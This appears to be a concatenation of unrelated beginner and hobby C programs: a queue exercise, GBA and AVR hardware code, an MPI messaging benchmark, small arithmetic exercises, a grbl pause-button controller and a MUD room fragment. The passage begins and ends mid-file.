printf("Queue is full; ");
else
printf("Queue is not full; ");
printf("Queue is of size %d:\n", Size(&myQ));
for (i = 0; i < myQ.size; i++) {
printf("%s %d%%\n", myQ.items[i].name , myQ.items[i].grade);
}
/* Adds an item to the end of the queue */
if (buffer[0] == 'E' || buffer[0] == 'e') {
op = strtok(buffer," ");
name = strtok(NULL," ");
gr = strtok(NULL, "\n");
grade = atoi(gr);
InitializeStudent(name, grade, &student);
Enqueue(student, &myQ);
}
/* Removes an items from the front of the queue */
if (buffer[0] == 'D' || buffer[0] == 'd') {
Dequeue(&myQ);
}
}
/* Prints the status of the queue */
if (Empty(&myQ))
printf("Queue is empty; ");
else
printf("Queue is not empty; ");
if (Full(&myQ))
printf("Queue is full; ");
else
printf("Queue is not full; ");
printf("Queue is of size %d:\n", Size(&myQ));
for (i = 0; i < myQ.size; i++) {
printf("%s %d%%\n", myQ.items[i].name , myQ.items[i].grade);
}
}
return EXIT_SUCCESS;
}
|
C
|
#ifndef INPUT_H
#define INPUT_H
unsigned short __key_curr = 0x0;
unsigned short __key_prev = 0x0;
#define REG_KEYINPUT (* (volatile unsigned short*) 0x4000130)
#define KEY_A 0x0001
#define KEY_B 0x0002
#define KEY_SELECT 0x0004
#define KEY_START 0x0008
#define KEY_RIGHT 0x0010
#define KEY_LEFT 0x0020
#define KEY_UP 0x0040
#define KEY_DOWN 0x0080
#define KEY_R 0x0100
#define KEY_L 0x0200
#define KEY_MASK 0x03FF
// Polling function
inline void key_poll()
{
__key_prev= __key_curr;
__key_curr= ~REG_KEYINPUT & KEY_MASK;
}
// Basic state checks
inline unsigned short key_curr_state() { return __key_curr; }
inline unsigned short key_prev_state() { return __key_prev; }
inline unsigned short key_is_down(unsigned short key) { return __key_curr & key; }
inline unsigned short key_is_up(unsigned short key) { return ~__key_curr & key; }
inline unsigned short key_was_down(unsigned short key) { return __key_prev & key; }
inline unsigned short key_was_up(unsigned short key) { return ~__key_prev & key; }
#endif
|
C
|
/*
* Opdracht_B4.c
*
* Created: 2/12/2020 1:52:19 PM
* Author : Chiem
*/
#define F_CPU 8000000UL
#include <avr/io.h>
#include <util/delay.h>
#define DisplayA 0x01
#define DisplayB 0x02
#define DisplayC 0x04
#define DisplayD 0x08
#define DisplayE 0x10
#define DisplayF 0x20
#define DisplayG 0x40
#define DisplayDP 0x80
typedef struct {
unsigned char data;
unsigned int delay ;
} PATTERN_STRUCT;
// 7 seg
// PORTD dp G F E D C B A
// y y y y x x x x
PATTERN_STRUCT pattern[] = {
{DisplayF, 150}, {DisplayG, 150}, {DisplayC, 150}, {DisplayD, 150},
{DisplayE, 150}, {DisplayG, 150}, {DisplayB, 150}, {DisplayA, 150},
{0xFF, 0},
};
void wait( int ms )
/*
short: Busy wait number of millisecs
inputs: int ms (Number of millisecs to busy wait)
outputs:
notes: Busy wait, not very accurate. Make sure (external)
clock value is set. This is used by _delay_ms inside
util/delay.h
Version : DMK, Initial code
*******************************************************************/
{
for (int i=0; i<ms; i++)
{
_delay_ms( 1 ); // library function (max 30 ms at 8MHz)
}
}
int main(void)
{
DDRC = 0b11111111; // PORTD all output
while (1)
{
// Set index to begin of pattern array
int index = 0;
// as long as delay has meaningful content
while( pattern[index].delay != 0 ) {
// Write data to PORTD
PORTC = pattern[index].data;
// wait
wait(pattern[index].delay);
// increment for next round
index++;
}
}
return 1;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <mpi.h>
#include <stddef.h>
#include <string.h>
typedef struct Book_s {
char title[255];
char author[255];
int pages;
double price;
} Book;
const int messagesPerProcessor = 1000;
void prepareBook(Book *book);
void createMpiDatatypeDefault(MPI_Datatype *mpiBookType);
void RUN_DEFAULT();
void RUN_DEFAULT_SYNCHRO();
void RUN_DEFAULT_BUFF();
void RUN_PACKED();
void RUN_PACKED_SYNCHRO();
void RUN_PACKED_BUFF();
int main(int argc, char* argv[]) {
MPI_Init(&argc, &argv);
RUN_DEFAULT();
// RUN_PACKED();
// RUN_DEFAULT_SYNCHRO();
// RUN_PACKED_SYNCHRO();
// RUN_DEFAULT_BUFF();
// RUN_PACKED_BUFF();
MPI_Finalize();
return 0;
}
void prepareBook(Book *book) {
strncpy(book->title, "Mroczna Wieża", 255);
strncpy(book->author, "Stephen King", 255);
book->pages = 263;
book->price = 39.99;
}
void createMpiDatatypeDefault(MPI_Datatype *mpiBookType) {
const int propertiesNumber = 4;
int blocksLen[4] = {255, 255, 1, 1};
MPI_Datatype types[4] = {MPI_CHAR, MPI_CHAR, MPI_INT, MPI_DOUBLE};
MPI_Aint offsets[4];
offsets[0] = offsetof(Book, title);
offsets[1] = offsetof(Book, author);
offsets[2] = offsetof(Book, pages);
offsets[3] = offsetof(Book, price);
MPI_Type_create_struct(propertiesNumber, blocksLen, offsets, types, mpiBookType);
MPI_Type_commit(mpiBookType);
}
void RUN_DEFAULT() {
double start, end;
int availableProcesses, processNumber;
MPI_Comm_size(MPI_COMM_WORLD, &availableProcesses);
if (availableProcesses < 2) {
printf("Potrzeba conajmniej dwóch procesów do komunikacji!\n");
exit(-1);
}
MPI_Datatype mpiBookType;
createMpiDatatypeDefault(&mpiBookType);
MPI_Comm_rank(MPI_COMM_WORLD, &processNumber);
if (processNumber == 0) {
start = MPI_Wtime();
Book bookToSend;
prepareBook(&bookToSend);
printf("Proces zerowy (nadawca) rozpoczyna komunikację i wysyła %d wiadomości z książką o tytule: %s \n",
(availableProcesses-1)*messagesPerProcessor,
bookToSend.title
);
int dstProcessor, messageNumb;
for (dstProcessor = 1; dstProcessor < availableProcesses; dstProcessor++) {
for (
messageNumb = (dstProcessor-1) * messagesPerProcessor;
messageNumb < dstProcessor * messagesPerProcessor;
messageNumb++) {
MPI_Send(&bookToSend, 1, mpiBookType, dstProcessor, messageNumb, MPI_COMM_WORLD);
}
}
} else {
MPI_Status status;
Book receivedBook;
int messageNumb;
for (
messageNumb = (processNumber-1) * messagesPerProcessor;
messageNumb < processNumber * messagesPerProcessor;
messageNumb++) {
MPI_Recv(&receivedBook, 1, mpiBookType, 0, messageNumb, MPI_COMM_WORLD, &status);
// printf("Proces %d: otrzymał książke '%s' autorstwa %s o liczbie stron %d kosztującej %.2f --> ID wiadomości: %d \n",
// processNumber,
// receivedBook.title,
// receivedBook.author,
// receivedBook.pages,
// receivedBook.price,
// messageNumb
// );
}
}
MPI_Barrier(MPI_COMM_WORLD);
if (processNumber == 0) {
end = MPI_Wtime();
printf(" === Struktura MPI === Czas operacji dla %d wiadomości: %lf\n", (availableProcesses-1)*messagesPerProcessor, end-start);
exit(-1);
}
MPI_Type_free(&mpiBookType);
}
void RUN_DEFAULT_SYNCHRO() {
double start, end;
int availableProcesses, processNumber;
MPI_Comm_size(MPI_COMM_WORLD, &availableProcesses);
if (availableProcesses < 2) {
printf("Potrzeba conajmniej dwóch procesów do komunikacji!\n");
exit(-1);
}
MPI_Datatype mpiBookType;
createMpiDatatypeDefault(&mpiBookType);
MPI_Comm_rank(MPI_COMM_WORLD, &processNumber);
if (processNumber == 0) {
start = MPI_Wtime();
Book bookToSend;
prepareBook(&bookToSend);
printf("Proces zerowy (nadawca) rozpoczyna komunikację i wysyła %d wiadomości z książką o tytule: %s \n",
(availableProcesses-1)*messagesPerProcessor,
bookToSend.title
);
int dstProcessor, messageNumb;
for (dstProcessor = 1; dstProcessor < availableProcesses; dstProcessor++) {
for (
messageNumb = (dstProcessor-1) * messagesPerProcessor;
messageNumb < dstProcessor * messagesPerProcessor;
messageNumb++) {
MPI_Ssend(&bookToSend, 1, mpiBookType, dstProcessor, messageNumb, MPI_COMM_WORLD);
}
}
} else {
MPI_Status status;
Book receivedBook;
int messageNumb;
for (
messageNumb = (processNumber-1) * messagesPerProcessor;
messageNumb < processNumber * messagesPerProcessor;
messageNumb++) {
MPI_Recv(&receivedBook, 1, mpiBookType, 0, messageNumb, MPI_COMM_WORLD, &status);
// printf("Proces %d: otrzymał książke '%s' autorstwa %s o liczbie stron %d kosztującej %.2f --> ID wiadomości: %d \n",
// processNumber,
// receivedBook.title,
// receivedBook.author,
// receivedBook.pages,
// receivedBook.price,
// messageNumb
// );
}
}
MPI_Barrier(MPI_COMM_WORLD);
if (processNumber == 0) {
end = MPI_Wtime();
printf(" === Struktura MPI Synchronicznie === Czas operacji dla %d wiadomości: %lf\n", (availableProcesses-1)*messagesPerProcessor, end-start);
exit(-1);
}
MPI_Type_free(&mpiBookType);
}
void RUN_DEFAULT_BUFF() {
double start, end;
int availableProcesses, processNumber;
MPI_Comm_size(MPI_COMM_WORLD, &availableProcesses);
if (availableProcesses < 2) {
printf("Potrzeba conajmniej dwóch procesów do komunikacji!\n");
exit(-1);
}
MPI_Datatype mpiBookType;
createMpiDatatypeDefault(&mpiBookType);
MPI_Comm_rank(MPI_COMM_WORLD, &processNumber);
if (processNumber == 0) {
start = MPI_Wtime();
Book bookToSend;
prepareBook(&bookToSend);
printf("Proces zerowy (nadawca) rozpoczyna komunikację i wysyła %d wiadomości z książką o tytule: %s \n",
(availableProcesses-1)*messagesPerProcessor,
bookToSend.title
);
int dstProcessor, messageNumb;
char *buff = malloc(522*messagesPerProcessor);
int maxSize = 1024;
MPI_Buffer_attach(buff, 522 * messagesPerProcessor + MPI_BSEND_OVERHEAD);
for (dstProcessor = 1; dstProcessor < availableProcesses; dstProcessor++) {
for (
messageNumb = (dstProcessor-1) * messagesPerProcessor;
messageNumb < dstProcessor * messagesPerProcessor;
messageNumb++) {
MPI_Bsend(&bookToSend, 1, mpiBookType, dstProcessor, messageNumb, MPI_COMM_WORLD);
}
}
} else {
MPI_Status status;
Book receivedBook;
int messageNumb;
for (
messageNumb = (processNumber-1) * messagesPerProcessor;
messageNumb < processNumber * messagesPerProcessor;
messageNumb++) {
MPI_Recv(&receivedBook, 1, mpiBookType, 0, messageNumb, MPI_COMM_WORLD, &status);
// printf("Proces %d: otrzymał książke '%s' autorstwa %s o liczbie stron %d kosztującej %.2f --> ID wiadomości: %d \n",
// processNumber,
// receivedBook.title,
// receivedBook.author,
// receivedBook.pages,
// receivedBook.price,
// messageNumb
// );
}
}
MPI_Barrier(MPI_COMM_WORLD);
if (processNumber == 0) {
end = MPI_Wtime();
printf(" === Struktura MPI tryb Buforowany === Czas operacji dla %d wiadomości: %lf\n", (availableProcesses-1)*messagesPerProcessor, end-start);
exit(-1);
}
MPI_Type_free(&mpiBookType);
}
void RUN_PACKED() {
double start, end;
int availableProcesses, processNumber;
MPI_Comm_size(MPI_COMM_WORLD, &availableProcesses);
if (availableProcesses < 2) {
printf("Potrzeba conajmniej dwóch procesów do komunikacji!\n");
exit(-1);
}
MPI_Comm_rank(MPI_COMM_WORLD, &processNumber);
if (processNumber == 0) {
start = MPI_Wtime();
int pos = 0;
char buffer[1024];
int maxSize = 1024;
Book bookToSend;
prepareBook(&bookToSend);
printf("Proces zerowy (nadawca) rozpoczyna komunikację i wysyła %d wiadomości z książką o tytule: %s \n",
(availableProcesses-1)*messagesPerProcessor,
bookToSend.title
);
MPI_Pack(
bookToSend.author,
255,
MPI_CHAR,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
bookToSend.title,
255,
MPI_CHAR,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
&bookToSend.pages,
1,
MPI_INT,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
&bookToSend.price,
1,
MPI_DOUBLE,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
int dstProcessor, messageNumb;
for (dstProcessor = 1; dstProcessor < availableProcesses; dstProcessor++) {
for (
messageNumb = (dstProcessor-1) * messagesPerProcessor;
messageNumb < dstProcessor * messagesPerProcessor;
messageNumb++) {
MPI_Send(buffer, pos, MPI_PACKED, dstProcessor, messageNumb, MPI_COMM_WORLD);
}
}
} else {
MPI_Status status;
Book receivedBook;
int messageNumb;
char buffer[1024];
int maxSize = 1024;
for (
messageNumb = (processNumber-1) * messagesPerProcessor;
messageNumb < processNumber * messagesPerProcessor;
messageNumb++) {
int pos = 0;
MPI_Recv(buffer, maxSize, MPI_PACKED, 0, messageNumb, MPI_COMM_WORLD, &status);
MPI_Unpack(
buffer,
maxSize,
&pos,
receivedBook.author,
255,
MPI_CHAR,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
receivedBook.title,
255,
MPI_CHAR,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
&receivedBook.pages,
1,
MPI_INT,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
&receivedBook.price,
1,
MPI_DOUBLE,
MPI_COMM_WORLD
);
// printf("Proces %d: otrzymał książke '%s' autorstwa %s o liczbie stron %d kosztującej %.2f --> ID wiadomości: %d \n",
// processNumber,
// receivedBook.title,
// receivedBook.author,
// receivedBook.pages,
// receivedBook.price,
// messageNumb
// );
}
}
MPI_Barrier(MPI_COMM_WORLD);
if (processNumber == 0) {
end = MPI_Wtime();
printf(" === PACKED === Czas operacji dla %d wiadomości: %lf\n", (availableProcesses-1)*messagesPerProcessor, end-start);
}
}
void RUN_PACKED_SYNCHRO() {
double start, end;
int availableProcesses, processNumber;
MPI_Comm_size(MPI_COMM_WORLD, &availableProcesses);
if (availableProcesses < 2) {
printf("Potrzeba conajmniej dwóch procesów do komunikacji!\n");
exit(-1);
}
MPI_Comm_rank(MPI_COMM_WORLD, &processNumber);
if (processNumber == 0) {
start = MPI_Wtime();
int pos = 0;
char buffer[1024];
int maxSize = 1024;
Book bookToSend;
prepareBook(&bookToSend);
printf("Proces zerowy (nadawca) rozpoczyna komunikację i wysyła %d wiadomości z książką o tytule: %s \n",
(availableProcesses-1)*messagesPerProcessor,
bookToSend.title
);
MPI_Pack(
bookToSend.author,
255,
MPI_CHAR,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
bookToSend.title,
255,
MPI_CHAR,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
&bookToSend.pages,
1,
MPI_INT,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
&bookToSend.price,
1,
MPI_DOUBLE,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
int dstProcessor, messageNumb;
for (dstProcessor = 1; dstProcessor < availableProcesses; dstProcessor++) {
for (
messageNumb = (dstProcessor-1) * messagesPerProcessor;
messageNumb < dstProcessor * messagesPerProcessor;
messageNumb++) {
MPI_Ssend(buffer, pos, MPI_PACKED, dstProcessor, messageNumb, MPI_COMM_WORLD);
}
}
} else {
MPI_Status status;
Book receivedBook;
int messageNumb;
char buffer[1024];
int maxSize = 1024;
for (
messageNumb = (processNumber-1) * messagesPerProcessor;
messageNumb < processNumber * messagesPerProcessor;
messageNumb++) {
int pos = 0;
MPI_Recv(buffer, maxSize, MPI_PACKED, 0, messageNumb, MPI_COMM_WORLD, &status);
MPI_Unpack(
buffer,
maxSize,
&pos,
receivedBook.author,
255,
MPI_CHAR,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
receivedBook.title,
255,
MPI_CHAR,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
&receivedBook.pages,
1,
MPI_INT,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
&receivedBook.price,
1,
MPI_DOUBLE,
MPI_COMM_WORLD
);
// printf("Proces %d: otrzymał książke '%s' autorstwa %s o liczbie stron %d kosztującej %.2f --> ID wiadomości: %d \n",
// processNumber,
// receivedBook.title,
// receivedBook.author,
// receivedBook.pages,
// receivedBook.price,
// messageNumb
// );
}
}
MPI_Barrier(MPI_COMM_WORLD);
if (processNumber == 0) {
end = MPI_Wtime();
printf(" === PACKED - Synchronicznie === Czas operacji dla %d wiadomości: %lf\n", (availableProcesses-1)*messagesPerProcessor, end-start);
}
}
void RUN_PACKED_BUFF() {
double start, end;
int availableProcesses, processNumber;
MPI_Comm_size(MPI_COMM_WORLD, &availableProcesses);
if (availableProcesses < 2) {
printf("Potrzeba conajmniej dwóch procesów do komunikacji!\n");
exit(-1);
}
MPI_Comm_rank(MPI_COMM_WORLD, &processNumber);
if (processNumber == 0) {
start = MPI_Wtime();
int pos = 0;
char buffer[1024];
int maxSize = 1024;
Book bookToSend;
prepareBook(&bookToSend);
printf("Proces zerowy (nadawca) rozpoczyna komunikację i wysyła %d wiadomości z książką o tytule: %s \n",
(availableProcesses-1)*messagesPerProcessor,
bookToSend.title
);
MPI_Pack(
bookToSend.author,
255,
MPI_CHAR,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
bookToSend.title,
255,
MPI_CHAR,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
&bookToSend.pages,
1,
MPI_INT,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
MPI_Pack(
&bookToSend.price,
1,
MPI_DOUBLE,
buffer,
maxSize,
&pos,
MPI_COMM_WORLD
);
int dstProcessor, messageNumb;
char *buff = malloc(522*messagesPerProcessor);
MPI_Buffer_attach(buff, 522 * messagesPerProcessor + MPI_BSEND_OVERHEAD);
for (dstProcessor = 1; dstProcessor < availableProcesses; dstProcessor++) {
for (
messageNumb = (dstProcessor-1) * messagesPerProcessor;
messageNumb < dstProcessor * messagesPerProcessor;
messageNumb++) {
MPI_Bsend(buffer, pos, MPI_PACKED, dstProcessor, messageNumb, MPI_COMM_WORLD);
}
}
} else {
MPI_Status status;
Book receivedBook;
int messageNumb;
char buffer[1024];
int maxSize = 1024;
for (
messageNumb = (processNumber-1) * messagesPerProcessor;
messageNumb < processNumber * messagesPerProcessor;
messageNumb++) {
int pos = 0;
MPI_Recv(buffer, maxSize, MPI_PACKED, 0, messageNumb, MPI_COMM_WORLD, &status);
MPI_Unpack(
buffer,
maxSize,
&pos,
receivedBook.author,
255,
MPI_CHAR,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
receivedBook.title,
255,
MPI_CHAR,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
&receivedBook.pages,
1,
MPI_INT,
MPI_COMM_WORLD
);
MPI_Unpack(
buffer,
maxSize,
&pos,
&receivedBook.price,
1,
MPI_DOUBLE,
MPI_COMM_WORLD
);
// printf("Proces %d: otrzymał książke '%s' autorstwa %s o liczbie stron %d kosztującej %.2f --> ID wiadomości: %d \n",
// processNumber,
// receivedBook.title,
// receivedBook.author,
// receivedBook.pages,
// receivedBook.price,
// messageNumb
// );
}
}
MPI_Barrier(MPI_COMM_WORLD);
if (processNumber == 0) {
end = MPI_Wtime();
printf(" === PACKED - tryb Buforowany === Czas operacji dla %d wiadomości: %lf\n", (availableProcesses-1)*messagesPerProcessor, end-start);
}
}
|
C
|
/*----------------------------------------
** 3. 设N是一个四位数,它的9倍是其反序,求N。
** 反序数就是将整数的数字倒过来形成的整数。
** 例如:1234的反序数4321
**----------------------------------------
*/
#include <stdio.h>
void main()
{
int i, j, k;
for (i = 1000; i < 10000; i++)
{
j = i/1000 + i/100%10*10 + i/10%10*100 + i%10*1000;
if (9 * i == j)
{
printf("%d\n",i);
}
}
}
|
C
|
#include <stdio.h>
// int main(void)
// {
// // コメントアウト
// /* コメントアウト */
// // printf("%d\n", 5 + 3);
// // printf("ものつくり\nC言語");
// // getchar();
// // return 0;
// int calc;
// int result;
// calc = 10 * 20;
// result = calc / 5;
// printf("%d\n", result);
// result = calc / 10;
// printf("%d\n", result);
// return 0;
// }
// int main (void)
// {
// int calc;
// int result;
// calc = 5 + 5;
// result = calc - 2;
// printf("加算 : %d\n", result);
// result = calc - 8;
// printf("減算 : %d\n", result);
// result = calc + 5;
// printf("乗算 : %d\n", result);
// result = calc / 10;
// printf("序算 : %d\n", result);
// result = calc % 8;
// printf("あまり : %d\n", result);
// return 0;
// }
// int main (void)
// {
// char tmp1 = 120;
// short tmp2 = 23456;
// long calc;
// // tmp1 = 120;
// // tmp2 = 23456;
// calc = tmp1 + tmp2;
// printf("calc %d\n", calc);
// return 0;
// }
// int main (void)
// {
// int self;
// self = 50;
// self += 30;
// printf("self %d\n", self);
// return 0;
// }
// int main (void)
// {
// unsigned char num1 = 254;
// num1++;
// printf("%d\n",num1);
// num1++;
// printf("%d\n",num1);
// return 0;
// }
// int main (void)
// {
// unsigned char num1 = 1;
// num1--;
// printf("%d\n", num1);
// num1--;
// printf("%d\n", num1);
// return 0;
// }
// int main(void)
// {
// int number = 10;
// if (number == 10)
// {
// printf("sucess");
// // printf("%d\n", number == 10);
// }
// else
// {
// printf("fault");
// // printf("%d\n", number != 10);
// }
// return 0;
// }
// int main(void)
// {
// int number = 10;
// printf("%d\n", number == 10);
// printf("%d\n", number != 10);
// }
// int main(void)
// {
// int number = 10;
// if (number == 10)
// {
// printf("good");
// }
// else if (number > 10)
// {
// printf("no good");
// }
// else
// {
// printf("nothing");
// }
// return 0;
// }
// int main(void)
// {
// //int number = 58;
// int number = 73;
// if(number % 2 == 0)
// {
// printf("偶数:%d", number);
// }
// else
// {
// printf("ki数:%d", number);
// }
// return 0;
// }
// int main(void)
// {
// char score = 80;
// printf("start:%d", score);
// if (score == 100)
// {
// printf("excellent");
// }
// else if (score <= 99 && score >= 80)
// {
// printf("so good");
// }
// else if (score <= 79 && score >= 30)
// {
// printf("good");
// }
// else if (score <= 29 && score >= 0)
// {
// printf("no good");
// }
// else
// {
// printf("miss");
// }
// return 0;
// }
// int main(void)
// {
// long year = 2032;
// printf("%d年:", year);
// if (year % 4 == 0)
// {
// if (year % 100 && year % 400 != 0)
// {
// printf("平年\n");
// }
// else
// {
// printf("閏年\n");
// }
// }
// else
// {
// printf("平年\n");
// }
// return 0;
// }
// int main(void)
// {
// int fruit = 4;
// switch (fruit)
// {
// case 0:
// printf("150yen");
// case 1:
// printf("80yen");
// case 2:
// printf("400yen");
// default:
// printf("no fruit");
// break;
// }
// return 0;
// }
// int main(void)
// {
// int i;
// for (i=0 ; i< 10; i++)
// {
// printf("数字 %d\n", i);
// }
// return 0;
// }
// int main(void)
// {
// char i;
// char k;
// for (i = 1; i <= 9; i++)
// {
// for (k = 1; k <= 9; k++)
// {
// printf("%2d", i * k);
// }
// printf("\n");
// }
// return 0;
// }
// int main(void)
// {
// int i = 10;
// while (i < 100)
// {
// if (i % 2 == 0)
// {
// i++;
// continue;
// }
// if (i > 50)
// {
// break;
// }
// printf("%d\n", i);
// i++;
// }
// return 0;
// }
// int sum(int para1, int para2)
// {
// int calc;
// calc = para1 + para2;
// return calc;
// }
// short ret;
// ret = subfunc(input);
// if (ret == -1)
// {
// printf("ERR");
// return 0;
// }
// unsigned long getAreaTriangle(unsigned long bottom, unsigned long height)
// {
// unsigned long triangleArea;
// triangleArea = bottom * height / 2;
// return triangleArea;
// }
// int main(void)
// {
// unsigned long bottom = 15;
// unsigned long height = 20;
// unsigned long triangleArea;
// triangleArea = getAreaTriangle(bottom, height);
// printf("面積 : %d", triangleArea);
// return 0;
// }
// unsigned long getFactorial(unsigned short number)
// {
// // unsigned long answer;
// // answer = number * 1;
// // return answer;
// unsigned long ans = 1;
// unsigned short i;
// for (i = 1; i <= number; i++)
// {
// ans *= i;
// }
// return ans;
// }
// int main(void)
// {
// // unsigned long number = 3;
// // unsigned long answer;
// // answer = getFactorial(number);
// // printf("数字 : %d", answer);
// // return 0;
// unsigned short num = 10;
// printf("数字 : %d", getFactorial(num));
// return 0;
// }
// void displaySquare(unsigned short len)
// {
// //たて
// unsigned short i;
// //横
// unsigned short k;
// for (i = 0; i < len; i++)
// {
// for (k = 0; k < len; k++)
// {
// printf("#");
// }
// printf("\n");
// }
// return;
// }
// int main(void)
// {
// unsigned short length = 3;
// displaySquare(length);
// return 0;
// }
// char echoNo = 0;
// void echoGreeting(void)
// {
// switch (echoNo)
// {
// case 0:
// printf("ohayou");
// break;
// case 1:
// printf("konichiwa");
// break;
// case 2:
// printf("kobannwa");
// break;
// default:
// break;
// }
// echoNo++;
// if(echoNo >= 3)
// {
// echoNo = 0;
// }
// return;
// }
// int main(void)
// {
// echoGreeting();
// echoGreeting();
// echoGreeting();
// return 0;
// }
|
C
|
#include <stdio.h>
int main()
{
char a[100];
int i,l,s=0;
gets(a);
l=strlen(a);
for(i=0;i<l;i++)
{
if((a[i]=='a'||a[i]=='b'))
{
s++;
}
}
if((s==l)||(s==l-1))
{
printf("yes");
}
else
printf("no");
return 0;
}
|
C
|
/*
* grbl_pause_via_tiny.c
*
* Version: 1.0
* License: MIT
* Copyright: Beau Barker (https://github.com/barkerest/)
*/
#include <avr/io.h>
#include "tiny_ticks.h"
#define MASK_PAUSE 0x01
#define MASK_HOLD 0x02
#define MASK_RESUME 0x04
#define MASK_ABORT 0x08
#define PAUSE_TRIGGERED ((PINB & MASK_PAUSE) == 0)
#define TRIGGER_HOLD() PORTB &= ~MASK_HOLD
#define CLEAR_HOLD() PORTB |= MASK_HOLD
#define TRIGGER_RESUME() PORTB &= ~MASK_RESUME
#define CLEAR_RESUME() PORTB |= MASK_RESUME
#define TRIGGER_ABORT() PORTB &= ~MASK_ABORT
#define CLEAR_ABORT() PORTB |= MASK_ABORT
#if DEBUG
#define MASK_STATUS 0x10
#define ENABLE_STATUS_LED() DDRB |= MASK_STATUS
#define TOGGLE_STATUS_LED() PINB |= MASK_STATUS
#endif
// 100ms (0.1s)
#define HOLD_TIMEOUT 100000L
// 1000ms (1s)
#define ABORT_TIMEOUT 1000000L
// 250ms (0.25s)
#define TRIGGER_TIMEOUT 250000L
// when the button is held down for HOLD_TIMEOUT milliseconds, the HOLD pin is triggered. hold_state is set to 1 when the button is released unless an abort is triggered.
// if the button is released before ABORT_TIMEOUT milliseconds and hold_state is 1, then the RESUME pin is triggered and hold_state is set to 0.
// if the button is held down for ABORT_TIMEOUT milliseconds, the ABORT pin is triggered. hold_state is set to 0 when the button is released.
typedef struct pause_state_t {
uint8_t triggered : 1;
uint8_t hold_state : 1;
uint8_t hold_complete : 1;
uint8_t abort_complete : 1;
uint16_t interruption;
uint32_t elapsed;
} pause_state_t;
pause_state_t pause_state = { 0, 0, 0, 0, 0, 0 };
#define RESET_PAUSE_STATE() { pause_state.triggered = 0; pause_state.hold_complete = 0; pause_state.abort_complete = 0; pause_state.elapsed = 0; pause_state.interruption = 0; }
void clear_hold() { CLEAR_HOLD(); }
void clear_resume() { CLEAR_RESUME(); }
void clear_abort() { CLEAR_ABORT(); }
void check_pause_state(tick_t ticks)
{
if (pause_state.triggered)
{
ticks = ticks * TINY_MICROS_PER_TICK;
// pause button is currently being held down.
if (PAUSE_TRIGGERED)
{
// remove interruption and continue accumulating.
pause_state.interruption = 0;
pause_state.elapsed += ticks;
}
else
{ // pause button was recently held down but appears not to be held down right now.
pause_state.interruption += ticks;
// if more than 1ms has passed since the pause button was definitely last triggered...
if (pause_state.interruption >= 1000)
{
// if an abort occurred, reset the hold state.
if (pause_state.abort_complete)
{
pause_state.hold_state = 0;
}
else if (pause_state.hold_complete)
{
// if a hold state was processed and was previously processed since the last abort/resume, trigger a resume.
if (pause_state.hold_state == 1)
{
pause_state.hold_state = 0;
CLEAR_HOLD();
TRIGGER_RESUME();
tinyTicksSetTimeout(clear_resume, TRIGGER_TIMEOUT);
}
else
{
// otherwise queue up a resume if no abort occurs.
pause_state.hold_state = 1;
}
}
// reset the pause state.
RESET_PAUSE_STATE();
}
else
{
// otherwise continue accumulating.
pause_state.elapsed += ticks;
}
}
if (pause_state.elapsed > HOLD_TIMEOUT && pause_state.hold_complete == 0)
{
TRIGGER_HOLD();
tinyTicksSetTimeout(clear_hold, TRIGGER_TIMEOUT);
// mark the action as complete.
pause_state.hold_complete = 1;
}
if (pause_state.elapsed > ABORT_TIMEOUT && pause_state.abort_complete == 0)
{
TRIGGER_ABORT();
tinyTicksSetTimeout(clear_abort, TRIGGER_TIMEOUT);
// mark the abort as complete and reset the next action to hold.
pause_state.abort_complete = 1;
}
}
else
{
if (PAUSE_TRIGGERED)
{
// begin timing the pause button.
RESET_PAUSE_STATE();
pause_state.triggered = 1;
}
}
}
#if DEBUG
void toggle_status_led()
{
TOGGLE_STATUS_LED();
tinyTicksSetTimeoutInMillis(toggle_status_led, 1000);
}
#endif
int main(void)
{
// setup timing.
tinyTicksInit();
tinyTicksEventLoopCallback = check_pause_state;
// enable outputs.
DDRB |= (MASK_HOLD | MASK_RESUME | MASK_ABORT);
// set all pins high (pause uses input pullup resistor)
PORTB |= (MASK_PAUSE | MASK_HOLD | MASK_RESUME | MASK_ABORT);
// enable interrupts.
sei();
#if DEBUG
ENABLE_STATUS_LED();
toggle_status_led();
#endif
// loop
while (1)
{
// all the magic happens in the callbacks.
tinyTicksEventLoop();
}
}
|
C
|
#include <stdio.h>
int main(){
int distancia = 0;
float tempo = 0.0;
scanf("%d", &distancia);
tempo = (distancia * 2);
printf("%.0f minutos\n", tempo);
return 0;
}
|
C
|
#include <stdint.h>
#include "types.h"
const char*
orca_strerror(ORCAcode code)
{
switch (code) {
case ORCA_OK:
return "Success: The request was a success";
case ORCA_HTTP_CODE:
return "Failure: The request was a failure";
case ORCA_UNUSUAL_HTTP_CODE:
return "Failure: The request was a failure";
case ORCA_MISSING_PARAMETER:
return "Failure: Missing a mandatory function parameter";
case ORCA_BAD_PARAMETER:
return "Failure: Unexpected value for parameter";
case ORCA_BAD_JSON:
return "Failure: Internal failure when encoding or decoding JSON";
default:
return "Unknown: Code received doesn't match any description";
}
}
|
C
|
// Dwarven Newbie Area: Created By Mist Fall 1994
// Addition to the Dwarven Newbie Area: Mist Spring 1997
#include "path.h"
inherit ROOM+"baseroom2.c";
object caverat;
void setup () { my_setup();
